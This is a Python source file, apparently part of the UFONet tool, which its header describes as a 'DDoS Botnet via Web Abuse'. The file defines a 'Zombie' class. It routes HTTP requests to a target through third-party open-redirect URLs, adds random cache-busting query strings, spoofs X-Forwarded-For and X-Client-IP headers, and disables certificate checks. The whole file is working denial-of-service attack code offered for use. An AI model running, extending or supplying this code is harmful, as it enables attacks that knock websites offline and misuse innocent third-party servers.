zombie.py 9.3 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194
  1. #!/usr/bin/env python
  2. # -*- coding: utf-8 -*-"
  3. """
  4. UFONet - DDoS Botnet via Web Abuse - 2013/2014/2015/2016 - by psy (epsylon@riseup.net)
  5. You should have received a copy of the GNU General Public License along
  6. with UFONet; if not, write to the Free Software Foundation, Inc., 51
  7. Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
  8. """
  9. import pycurl, StringIO, md5, re
  10. import time, threading, random
  11. from randomip import RandomIP
  12. class Zombie: # class representing a zombie
  13. # constructor: function to construct a zombie
  14. # ufo: UFONet object, some state variables are recovered as well
  15. # zombie: name/url of zombie
  16. def __init__(self, ufo, zombie):
  17. self.ufo = ufo
  18. self.payload=ufo.payload
  19. self.attack_mode=ufo.attack_mode
  20. self.zombie = zombie
  21. self.connection_failed=True
  22. # wait for semaphore to be ready, add to herd, connect & suicide
  23. def connect(self):
  24. reply=None
  25. with self.ufo.sem:
  26. self.ufo.herd.new_zombie(self.zombie)
  27. reply=self.do_connect()
  28. self.ufo.herd.kill_zombie(self.zombie, reply, self.connection_failed)
  29. return reply
  30. # handles zombie connection
  31. def do_connect(self):
  32. # connect zombies and manage different options: HEAD, GET, POST,
  33. # user-Agent, referer, timeout, retries, threads, delay..
  34. options = self.ufo.options
  35. c = pycurl.Curl()
  36. if self.ufo.head == True:
  37. c.setopt(pycurl.URL, self.zombie) # set 'self.zombie' target
  38. c.setopt(pycurl.NOBODY, 1) # use HEAD
  39. if self.payload == True:
  40. payload = self.zombie + "https://www.whitehouse.gov" #Open Redirect payload [requested by all UFONet motherships ;-)]
  41. c.setopt(pycurl.URL, payload) # set 'self.zombie' payload
  42. c.setopt(pycurl.NOBODY, 0) # use GET
  43. if self.ufo.external == True:
  44. external_service = "https://www.downforeveryoneorjustme.com/" # external check
  45. if options.target.startswith('https://'): # fixing url prefix
  46. options.target = options.target.replace('https://','')
  47. if options.target.startswith('http://'): # fixing url prefix
  48. options.target = options.target.replace('http://','')
  49. external = external_service + options.target
  50. c.setopt(pycurl.URL, external) # external HEAD check before to attack
  51. c.setopt(pycurl.NOBODY, 0) # use GET
  52. if self.attack_mode == True:
  53. if options.place: # use self.zombie's vector to connect to a target's place and add a random query to evade cache
  54. random_name_hash = random.randint(1, 100000000)
  55. random_hash = random.randint(1, 100000000)
  56. if options.place.endswith("/"):
  57. options.place = re.sub('/$', '', options.place)
  58. if options.place.startswith("/"):
  59. if "?" in options.place:
  60. url_attack = self.zombie + options.target + options.place + "&" + str(random_name_hash) + "=" + str(random_hash)
  61. else:
  62. url_attack = self.zombie + options.target + options.place + "?" + str(random_name_hash) + "=" + str(random_hash)
  63. else:
  64. if "?" in options.place:
  65. url_attack = self.zombie + options.target + "/" + options.place + "&" + str(random_name_hash) + "=" + str(random_hash)
  66. else:
  67. url_attack = self.zombie + options.target + "/" + options.place + "?" + str(random_name_hash) + "=" + str(random_hash)
  68. else:
  69. url_attack = self.zombie + options.target # Use self.zombie vector to connect to original target url
  70. if self.ufo.options.verbose:
  71. print "[Info] Payload:", url_attack
  72. c.setopt(pycurl.URL, url_attack) # GET connection on target site
  73. c.setopt(pycurl.NOBODY, 0) # use GET
  74. # set fake headers (important: no-cache)
  75. fakeheaders = ['Accept: image/gif, image/x-bitmap, image/jpeg, image/pjpeg',
  76. 'Connection: Keep-Alive',
  77. 'Content-type: application/x-www-form-urlencoded; charset=UTF-8',
  78. 'Cache-control: no-cache',
  79. 'Pragma: no-cache',
  80. 'Pragma-directive: no-cache',
  81. 'Cache-directive: no-cache',
  82. 'Expires: 0']
  83. c.setopt(pycurl.FOLLOWLOCATION, 1) # set follow redirects
  84. c.setopt(pycurl.MAXREDIRS, 10) # set max redirects
  85. c.setopt(pycurl.SSL_VERIFYHOST, 0) # don't verify host
  86. c.setopt(pycurl.SSL_VERIFYPEER, 0) # don't verify peer
  87. # c.setopt(pycurl.SSLVERSION, pycurl.SSLVERSION_SSLv3) # sslv3
  88. c.setopt(pycurl.COOKIEFILE, '/dev/null') # black magic
  89. c.setopt(pycurl.COOKIEJAR, '/dev/null') # black magic
  90. c.setopt(pycurl.FRESH_CONNECT, 1) # important: no cache!
  91. c.setopt(pycurl.NOSIGNAL, 1) # pass 'long' to stack to fix libcurl bug
  92. c.setopt(pycurl.ENCODING, "") # use all available encodings (black magic)
  93. if options.xforw: # set x-forwarded-for
  94. generate_random_xforw = RandomIP()
  95. xforwip = generate_random_xforw._generateip('')
  96. xforwfakevalue = ['X-Forwarded-For: ' + str(xforwip)]
  97. fakeheaders = fakeheaders + xforwfakevalue
  98. if options.xclient: # set x-client-ip
  99. generate_random_xclient = RandomIP()
  100. xclientip = generate_random_xclient._generateip('')
  101. xclientfakevalue = ['X-Client-IP: ' + str(xclientip)]
  102. fakeheaders = fakeheaders + xclientfakevalue
  103. if options.host: # set http host header
  104. host_fakevalue = ['Host: ' + str(options.host)]
  105. fakeheaders = fakeheaders + host_fakevalue
  106. c.setopt(pycurl.HTTPHEADER, fakeheaders) # set fake headers
  107. b = StringIO.StringIO()
  108. c.setopt(pycurl.HEADERFUNCTION, b.write)
  109. h = StringIO.StringIO()
  110. c.setopt(pycurl.WRITEFUNCTION, h.write)
  111. if options.agent: # set user-agent
  112. c.setopt(pycurl.USERAGENT, options.agent)
  113. else:
  114. c.setopt(pycurl.USERAGENT, self.ufo.user_agent)
  115. if options.referer: # set referer
  116. c.setopt(pycurl.REFERER, options.referer)
  117. else:
  118. c.setopt(pycurl.REFERER, self.ufo.referer)
  119. if options.proxy: # set proxy
  120. proxy = options.proxy
  121. sep = ":"
  122. proxy_ip = proxy.rsplit(sep, 1)[0]
  123. if proxy_ip.startswith('http://'):
  124. proxy_ip = proxy_ip.replace('http://', '')
  125. elif proxy_ip.startswith('https://'):
  126. proxy_ip = proxy_ip.replace('https://', '')
  127. proxy_port = proxy.rsplit(sep, 1)[1]
  128. if proxy_ip == '127.0.0.1': # working by using 'localhost' as http proxy (ex: privoxy)
  129. proxy_ip = 'localhost'
  130. c.setopt(pycurl.PROXY, proxy_ip)
  131. c.setopt(pycurl.PROXYPORT, int(proxy_port))
  132. else:
  133. c.setopt(pycurl.PROXY, '')
  134. c.setopt(pycurl.PROXYPORT, pycurl.PROXYPORT)
  135. if options.timeout: # set timeout
  136. c.setopt(pycurl.TIMEOUT, options.timeout)
  137. c.setopt(pycurl.CONNECTTIMEOUT, options.timeout)
  138. else:
  139. c.setopt(pycurl.TIMEOUT, 5) # trying low value to control OS/python threading overflow when so much threads/bots open
  140. c.setopt(pycurl.CONNECTTIMEOUT, 5)
  141. if options.delay: # set delay
  142. self.ufo.delay = options.delay
  143. else:
  144. self.ufo.delay = 0
  145. if options.retries: # set retries
  146. self.ufo.retries = options.retries
  147. else:
  148. self.ufo.retries = 1
  149. try: # try to connect
  150. c.perform()
  151. time.sleep(self.ufo.delay)
  152. self.connection_failed = False
  153. except Exception, e: # try retries
  154. for count in range(0, self.ufo.retries):
  155. time.sleep(self.ufo.delay)
  156. try:
  157. c.perform()
  158. self.connection_failed = False
  159. except:
  160. self.connection_failed = True
  161. if self.ufo.head == True: # HEAD reply
  162. code_reply = c.getinfo(pycurl.HTTP_CODE)
  163. reply = b.getvalue()
  164. if options.verbose:
  165. print "[Info] Reply:"
  166. print "\n", reply
  167. if self.ufo.options.testrpc:
  168. return reply
  169. else:
  170. return code_reply
  171. if self.ufo.external == True: # External reply
  172. external_reply = h.getvalue()
  173. if options.verbose:
  174. print "[Info] Reply:"
  175. print "\n", external_reply
  176. return external_reply
  177. if self.payload == True: # Payloads reply
  178. payload_reply = h.getvalue()
  179. if options.verbose:
  180. print "[Info] Reply:"
  181. print "\n", payload_reply
  182. return payload_reply
  183. if self.attack_mode == True: # Attack mode reply
  184. attack_reply = h.getvalue()
  185. if options.verbose:
  186. print "[Response] code: ", c.getinfo(c.RESPONSE_CODE)," time ",c.getinfo(c.TOTAL_TIME)," size ", len(attack_reply)
  187. return [ c.getinfo(c.RESPONSE_CODE),
  188. c.getinfo(c.TOTAL_TIME),
  189. len(attack_reply)]